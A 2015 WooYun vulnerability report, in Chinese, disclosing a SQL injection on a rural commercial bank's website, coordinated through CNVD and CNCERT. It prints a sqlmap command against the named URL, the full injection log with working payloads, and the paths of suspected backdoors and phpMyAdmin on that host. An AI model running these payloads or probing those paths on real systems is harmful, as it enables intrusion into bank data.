某农商银行SQL注入可影响旁站的银行(root权限,跨库)

编号111160
Urlhttp://www.wooyun.org/bug.php?action=view&id=111160
漏洞状态已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞标题某农商银行SQL注入可影响旁站的银行(root权限,跨库)
漏洞类型SQL注射漏洞
厂商cnvd
白帽子#6c6c6c
提交日期2015-04-29 22:01:00
公开日期2015-06-18 10:02:00
修复时间(not set)
确认时间2015-05-04 00:00:00
Confirm Spend5
漏洞标签phpinfo sql 疑似后门
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank10
漏洞简介
sql
漏洞细节

F:\Python26\sqlmap>sqlmap.py -u "http://www.xznsyh.com/messLook.php?id=131"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 00:59:36
[00:59:36] [WARNING] using 'C:\Users\Administrator\.sqlmap\output' as the output
directory
[00:59:36] [INFO] testing connection to the target URL
[00:59:37] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[00:59:38] [INFO] target URL is stable
[00:59:38] [INFO] testing if GET parameter 'id' is dynamic
[00:59:39] [INFO] confirming that GET parameter 'id' is dynamic
[00:59:40] [INFO] GET parameter 'id' is dynamic
[00:59:41] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
injectable
[00:59:41] [INFO] testing for SQL injection on GET parameter 'id'
[00:59:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:59:44] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHER
E or HAVING clause' injectable
[00:59:48] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:59:49] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:59:49] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:59:50] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:59:50] [INFO] testing 'MySQL inline queries'
[00:59:51] [INFO] testing 'PostgreSQL inline queries'
[00:59:51] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[00:59:52] [INFO] testing 'Oracle inline queries'
[00:59:52] [INFO] testing 'SQLite inline queries'
[00:59:53] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:59:53] [WARNING] time-based comparison requires larger statistical model, pl
ease wait...
[00:59:55] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:59:55] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:59:56] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:00:07] [INFO] GET parameter 'id' seems to be 'MySQL > 5.0.11 AND time-based
blind' injectable
[01:00:07] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[01:00:07] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[01:00:08] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[01:00:10] [INFO] target URL appears to have 9 columns in query
[01:00:16] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 colu
mns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] y
sqlmap identified the following injection points with a total of 47 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=131 AND 5637=5637
Type: UNION query
Title: MySQL UNION query (NULL) - 9 columns
Payload: id=-2627 UNION ALL SELECT NULL,CONCAT(0x7172626f71,0x5847647a56427a
735053,0x7163716471),NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=131 AND SLEEP(5)
---
[01:00:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.3, Apache 2.2.4
back-end DBMS: MySQL 5.0.11
[01:00:29] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.xznsyh.com'
[*] shutting down at 01:00:29


庞杂还能.png


QQ图片20150429213927.png


mask 区域
*****avg):	*****
***** [email protected]*****
*****.45-commu*****
*****B: x*****
***** [email protected]*****
***** fengf*****
***** C:\AppS*****
*****57780BA27B7705E213*****
*****formatio*****
*****shc*****
*****ys*****
*****ban*****
*****es*****
*****syh*****
*****db*****


POC

可查看旁站的数据库
疑似后门

http://www.xznsyh.com/1234.php
http://www.xznsyh.com/test.php
http://www.xznsyh.com/test1.php


phpmyadmin : http://www.xznsyh.com/phpmyadmin
phpinfo :http://www.xznsyh.com/phpinfo.php

修复方案

过滤,排查系统,删除phpinfo

状态信息 2015-04-29: 细节已通知厂商并且等待厂商处理中
2015-05-04: 厂商已经确认,细节仅向厂商公开
2015-05-14: 细节向核心白帽子及相关领域专家公开
2015-05-24: 细节向普通白帽子公开
2015-06-03: 细节向实习白帽子公开
2015-06-18: 细节向公众公开
厂商回复CNVD确认并复现所述情况,已经转由CNCERT向银行业信息化主管部门通报,由其后续协调网站管理单位处置.
回应信息危害等级:中漏洞Rank:10 确认时间:2015-05-04 10:00